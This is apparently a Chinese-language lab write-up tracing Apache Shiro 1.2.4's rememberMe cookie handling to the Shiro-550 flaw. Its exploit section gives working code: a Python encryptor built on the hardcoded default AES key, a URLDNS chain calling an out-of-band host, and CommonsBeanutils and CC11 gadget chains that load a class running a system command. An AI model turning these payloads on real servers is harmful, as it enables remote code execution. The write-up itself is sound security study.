Shiro550

学习文章:https://drun1baby.top/2022/07/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Shiro%E7%AF%8701-Shiro550%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/

前言

Shiro550漏洞的根本原因:使用固定 key 加密

影响版本:Shiro <= 1.2.4

环境搭建

  • jdk8u65
  • Tomcat8
  • shiro 1.2.4

jdk8u65

在之前CC链的时候就搭好的:https://yschen20.github.io/2025/11/05/CC1%E9%93%BE%EF%BC%88TransformedMap%E7%89%88%EF%BC%89/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

Tomcat8

下载地址:https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.81/bin/

可以直接下这个 apache-tomcat-8.5.81.exe 安装程序来安装

image-20260203162452681

安装的时候到这里配置下端口和用户名密码

image-20260203162641861

然后是JDK的地址

image-20260203162731555

最后再换个安装路径就行了

访问本地的8080端口,服务正常运行的

image-20260203163310643

想关闭或开启服务可以用下面的命令:

1
2
3
4
# 开启服务
net start Tomcat8
# 关闭服务
net stop Tomcat8

出现下面这种情况就是权限不足

image-20260203163705843

以管理员身份运行就行

image-20260203163827105

shiro 1.2.4

可以直接用 P 神的项目:https://github.com/phith0n/JavaThings/tree/master/shirodemo

下载到本地,用IDEA打开这个项目,直接选择打开文件夹,路径是 shirodemo 那个目录

然后是把刚才安装好的 Tomcat 服务添加进来

image-20260203164633990

image-20260203164805823

image-20260203164827552

然后在项目结构里添加工件

image-20260203165227542

不过 P 神的项目是弄好这个了的:

image-20260203193753856

image-20260203193746472

最后设置运行与调试

image-20260203193950212

最后运行login.jsp文件就行了,访问:

1
http://localhost:8080/shirodemo_war/login.jsp

image-20260203195255626

1
2
用户名:root
密码:secret

环境就配好了

Shiro550漏洞分析

漏洞原理

用bp抓登录包,勾选上 Remember me

image-20260203195624956

如果登录成功的话,在响应包中的 Set-Cookie 里会有rememberMe=deleteMe;rememberMe=[一大串字符]

image-20260203195702648

之后的所有请求都会带有rememberMe字段

image-20260203200716681

可以利用这个rememberMe进行反序列化,从而 getshell

Shiro1.2.4 及之前的版本中,AES 加密的密钥默认硬编码在代码里(Shiro-550)

Shiro 1.2.4 之后的版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。

漏洞分析

解密过程

Base64解密

去找 Cookie 里 rememberMe 的加密过程,在IDEA双击shift,在类里搜索Cookie,可以找到CookieRememberMeManager这个类

image-20260203203344015

最终锁定到这个类的getRememberedSerializedIdentity()

image-20260203203647171

分析一下这个函数:是protected属性,返回一个字节数组byte[](经过 base64 解码后的 rememberMeCookie 的原始值),传入的参数是 Shiro 的一个上下文对象,封装了与当前主题(用户)相关的所有信息

image-20260203205954619

首先检查是不是 HTTP 请求,不是就返回null,如果是的话会检查是不是日志调试模式,是的话会记录一条日志说明原因

image-20260203204626238

然后检查当前用户的身份是不是已经被标记为移除

image-20260203205233803

然后是获取 HTTP 请求和响应对象,用于获取和写入 Cookie 吧

image-20260203205411887

然后这里就是获取 Cookie 中,并且会判断 Cookie 中是否含有deleteme

image-20260203205530023

最后是会对获取到的 rememberMe 值进行 base64 解码,最终返回解码后的字节数组decoded

base64 = ensurePadding(base64);是判断 Cookie 是否符合base64编码长度

image-20260203205810106

getRememberedSerializedIdentity()这个方法的作用就是:去读取 Cookie rememberMe,拿到那串被加密和 base64 编码后的字符串,并将其还原为字节数组byte[]

逆向上去,找找哪里调用到getRememberedSerializedIdentity()这个方法,查找这个方法的用法,找不到可以点IDEA左边的那个m,下载一下源码

image-20260203212205039

可以找到AbstractRememberMeManager.getRememberedPrincipals()方法

image-20260203212342723

image-20260203212421302

PrincipalCollection,是一个包含用户身份信息集合的一个类,刚开始principals的初始值为null

image-20260203214010459

1
byte[] bytes = getRememberedSerializedIdentity(subjectContext);

看 393 行这句代码会调用getRememberedSerializedIdentity()方法,获取 base64 解码后的 Cookie 并赋值给bytes

1
principals = convertBytesToPrincipals(bytes, subjectContext);

然后再往下 396 行这句代码就会调用convertBytesToPrincipals()方法,并将bytes作为参数传进去

跟进看看convertBytesToPrincipals()方法:

image-20260203214434672

很明显这个方法就做了两件事:

  • 调用decrypt()方法对传入的bytes进行解密
  • 调用deserialize()方法对解密后的bytes进行反序列化

decrypt()方法AES解密

先跟进decrypt()解密方法中:

image-20260203215907881

1
CipherService cipherService = getCipherService();

487 行这句代码就是调用getCipherService()方法,获取密钥服务,这里也就是获取负责处理 AES 算法的工具类

1
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());

然后是 489 行,会调用到decrypt()getDecryptionCipherKey()这俩方法

先看decrypt()

image-20260203220142001

是一个接口,接收两个参数,第一个参数是加密的数组,第二个参数是解密的key

再回来 489 行看,传入的第一个参数就是加密的数组encrypted(也就是 base64 解码后的 Cookie ),第二个参数就是getDecryptionCipherKey()这个方法,说明它的返回值是解密的密钥key

跟进getDecryptionCipherKey()这个方法看看:

image-20260203220416608

这个方法直接返回一个常量decryptionCipherKey,这个常量是一个字节数组

image-20260203220617229

去找找哪里调用到了decryptionCipherKey

image-20260203221028342

有一个写入值的用法,是在setDecryptionCipherKey()方法中的

image-20260203221119327

继续往上找哪里调用了setDecryptionCipherKey()这个方法:

image-20260203221612488

setCipherKey()方法中调用的,这个方法里会调用俩方法,一个加密一个解密,共用的同一个密钥:

image-20260203222246430

继续往上找哪里调用了setCipherKey()这个方法:

image-20260203221722027

AbstractRememberMeManager()方法中:

image-20260203221752374

1
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);

在 109 行调用的,传入的DEFAULT_CIPHER_KEY_BYTES,这个参数名就很明显了,跟进看是一个常量,是一个固定的key

image-20260203221932025

一整条找key的思路如下,一层层往上找,最终找到固定的key

image-20260203223700213

所以 shiro 进行 Cookie 加密的 AES 算法的密钥是一个常量

deserialize()反序列化

再回到convertBytesToPrincipals()这里,还有一个deserialize方法,跟进去看一看:

image-20260203224217012

deserialize方法传入的参数是已经解密好的二进制字节数组

1
return getSerializer().deserialize(serializedIdentity);

getSerializer():获取 Shiro 配置的序列化器,默认使用的是 DefaultSerializer,其底层就是 Java 标准的 ObjectInputStream 逻辑

跟进deserialize()方法看看:

image-20260203224818875

是一个接口,看看deserialize()的实现方法有哪些,ctrl+alt+B

image-20260204102041690

image-20260204102122842

在 shiro 包里的DefaultSerializer.deserialize()方法里调用了readObject方法,所以这里就是反序列化的入口

加密过程

打断点进行调试,在AbstractRememberMeManager.onSuccessfulLogin()开始打断点

image-20260204102600244

然后直接调试

这里调试之前服务应该是要没有启动运行的

image-20260209234335957

运行起服务后用bp抓登录包,输入正确的 Username 和 Password

image-20260209234423832

放到Repeater里发包就可以断到这里了

image-20260209234444868

开始是一堆判断是不是 HTTP 的,直接在下面再加个断点

image-20260209234831751

F9恢复到断点的地方

image-20260209234914283

这里就是进入到isRememberMe()方法里,判断有没有RememberMe字段,如果有就继续调用rememberIdentity()方法

image-20260209235122010

先进入getIdentityToRemember()

image-20260210105045161

一连串调用来保存用户名的

image-20260210105119352

image-20260210105140984

image-20260210105210878

回到rememberIdentity(),继续跟进rememberIdentity(subject, principals);

image-20260210105253366

里面调用的convertPrincipalsToBytes()方法

image-20260210105439861

和之前解密时候的convertBytesToPrincipals()方法是相反的

这里是先serialize()序列化,然后encrypt()进行加密

image-20260210105600413

贴一下前面convertBytesToPrincipals()方法对比一下

前面的是先decrypt()解密,然后deserialize()反序列化

image-20260210105720215

serialize()序列化

先跟进serialize()看看序列化方法

image-20260210105919313

继续跟进getSerializer().serialize(),可以找到oos.wirteObject(o);这句,就是进行序列化的

image-20260210110055752

encrypt()方法AES加密

然后往下来看encrypt()加密方法

image-20260210110314395

和前面解密的样子差不多,这里改成了encrypt()getEncryptionCipherKey()

image-20260210110937937

跟进getEncryptionCipherKey()方法,顾名思义就是和获取加密的key有关的

image-20260210111058267

跟进这个方法,是return返回一个常量encryptionCipherKey,就是加密的密钥

image-20260210110541031

和前面解密一样去找它的用法,具体的流程也差不多,不过是换了方法名

image-20260210111217418

可以找到有个写入值的用法,在AbstractRememberMeManager.setEncryptionCipherKey()

继续找哪里调用的setEncryptionCipherKey()

image-20260210111447896

可以找到setCipherKey这个方法,之前的解密也是找到的这里,上面加密的,下面解密的

image-20260210111531610

再往前就是找到AbstractRememberMeManager()方法

image-20260210111612789

这里传给setCipherKey的值就是DEFAULT_CIPHER_KEY_BYTES

image-20260210111731604

也就是这个固定值密钥

image-20260210111713141

然后回头再跟进看看encrypt()方法

image-20260210112527688

传入的分别是要加密的明文数据和密钥,然后经过 AES 加密后返回加密后的数据

image-20260210113029513

image-20260210113052071

Base64加密

继续往下又回到了rememberIdentity()这里,继续进入到rememberSerializedIdentity()方法中

image-20260210113149420

rememberSerializedIdentity()中会先检查 Subject 是否来自 HTTP 请求,如果是的话就会对加密好的数据进行base64编码,最终存储到 Cookie 中

image-20260210113307546

以上就是加密的所有过程了

Shiro550漏洞利用

漏洞利用的思路:

  • 既然 RCE,或者说弹 shell,是在反序列化的时候触发的。

那我们的攻击就应该是将反序列化的东西,进行 shiro 的一系列加密操作,再把最后的那串东西替换包中的 RememberMe 字段的值

加密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# -*-* coding:utf-8
# @Time : 2022/7/13 17:36
# @Author : Drunkbaby
# @FileName: poc.py
# @Software: VSCode
# @Blog :https://drun1baby.github.io/

import base64
import uuid
from Crypto.Cipher import AES

def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data


def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext


def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext


if __name__ == "__main__":
data = get_file_data("ser.bin")
print(aes_enc(data))

我自己也不会写,直接搬大佬文章里的了

我运行时候少个库,所以就把没用到的库删

image-20260210121643097

URLDNS链

之前写好的,直接拿来用了

URLDNS链笔记:https://yschen20.github.io/2025/10/21/URLDNS%E9%93%BE/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void serialize(Object o) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(o);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object oic = ois.readObject();
return oic;
}

public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
URL url = new URL("http://o1qhbnt17z1ru666mc2rs4n10s6jufi4.oastify.com");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,123456);
hashmap.put(url,1);
hashcodefield.set(url,-1);
serialize(hashmap);
// unserialize("ser.bin");
}
}

只要序列化就行,然后把生成的ser.bin文件放到 python 加密脚本的同目录下,然后运行

image-20260210134459002

然后把 Cookie 里的 rememberMe 替换为这个,这里要删掉 JSESSIONID,因为当存在 JSESSIONID 时,会忽略 rememberMe

image-20260210134557725

发包之后就可以 收到 DNS 请求了

image-20260210134615428

CB链

CB链笔记:https://yschen20.github.io/2026/02/09/CB%E9%93%BE/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB {
public static void setField(Object obj,String fieldName,Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static void serialize(Object obj) throws Exception{
java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin");
java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static void unserialize(String Filename) throws Exception{
java.io.FileInputStream fis = new java.io.FileInputStream(Filename);
java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis);
ois.readObject();
ois.close();
}

public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "CB");
byte[] code = Files.readAllBytes(Paths.get("src/main/java/Calc.class"));
byte[][] codes = {code};
setField(templates, "_bytecodes",codes);
setField(templates, "_tfactory",new TransformerFactoryImpl());

BeanComparator beanComparator = new BeanComparator();
setField(beanComparator,"property","outputProperties");

PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2,beanComparator);
setField(priorityQueue,"size",2);
setField(priorityQueue,"queue",new Object[]{templates, templates});

serialize(priorityQueue);
// unserialize("ser.bin");
}
}

加载的恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

这里有个注意点,直接用之前的服务端会出现报错

image-20260210140852989

1
Caused by: java.io.InvalidClassException: org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

这是因为shiro中自带的是 CommonsBeanutils 的版本是 1.8.3

image-20260210141154499

而之前的是1.9.2

image-20260210141127764

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID 不同,则反序列化就会异常退出,避免后续的未知隐患

所以要改一下EXP环境的依赖,换成1.8.3的

1
2
3
4
5
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>

image-20260210141611787

然后就是和前面的一样的操作,最终可以弹出计算器

image-20260210141531421

CC11链(CC2+CC6)

CC11链笔记:https://yschen20.github.io/2026/02/10/CC11%E9%93%BE/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "CC11");
byte[] code = Files.readAllBytes(Paths.get("src/main/java/Calc.class"));
byte[][] codes = {code};
setField(templates, "_bytecodes",codes);
setField(templates, "_tfactory",new TransformerFactoryImpl());

/// ========================================带数组的CC11链========================================
// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(templates),
// new InvokerTransformer("newTransformer",null,null)
// };
// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// Map map = new HashMap();
// LazyMap decorator = (LazyMap) LazyMap.decorate(map,chainedTransformer);
// TiedMapEntry tiedMapEntry = new TiedMapEntry(decorator,"key");
/// ========================================带数组的CC11链========================================

/// ========================================不带数组的CC11链========================================
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
Map map = new HashMap();
LazyMap decorator = (LazyMap) LazyMap.decorate(map,invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorator,templates);
/// ========================================不带数组的CC11链========================================

HashMap<Object,Object> hashMap = new HashMap<>();
setField(tiedMapEntry,"map",new HashMap());
hashMap.put(tiedMapEntry,"123");
setField(tiedMapEntry,"map",decorator);

serialize(hashMap);
// unserialize("ser.bin");
}

public static void setField(Object obj, String fieldName, Object value) throws Exception {
java.lang.reflect.Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static void serialize(Object obj) throws Exception{
java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin");
java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
}
public static Object unserialize(String filename) throws Exception{
java.io.FileInputStream fis = new java.io.FileInputStream(filename);
java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis);
Object obj = ois.readObject();
ois.close();
return obj;
}
}

注意点就是不能带数组,否则打不通,所以要用不带数组的CC11链来打

image-20260210162347154

成功弹计算器

image-20260210162809067


Shiro550
https://yschen20.github.io/2026/02/10/Shiro550/
作者
Suzen
发布于
2026年2月10日
更新于
2026年2月10日
许可协议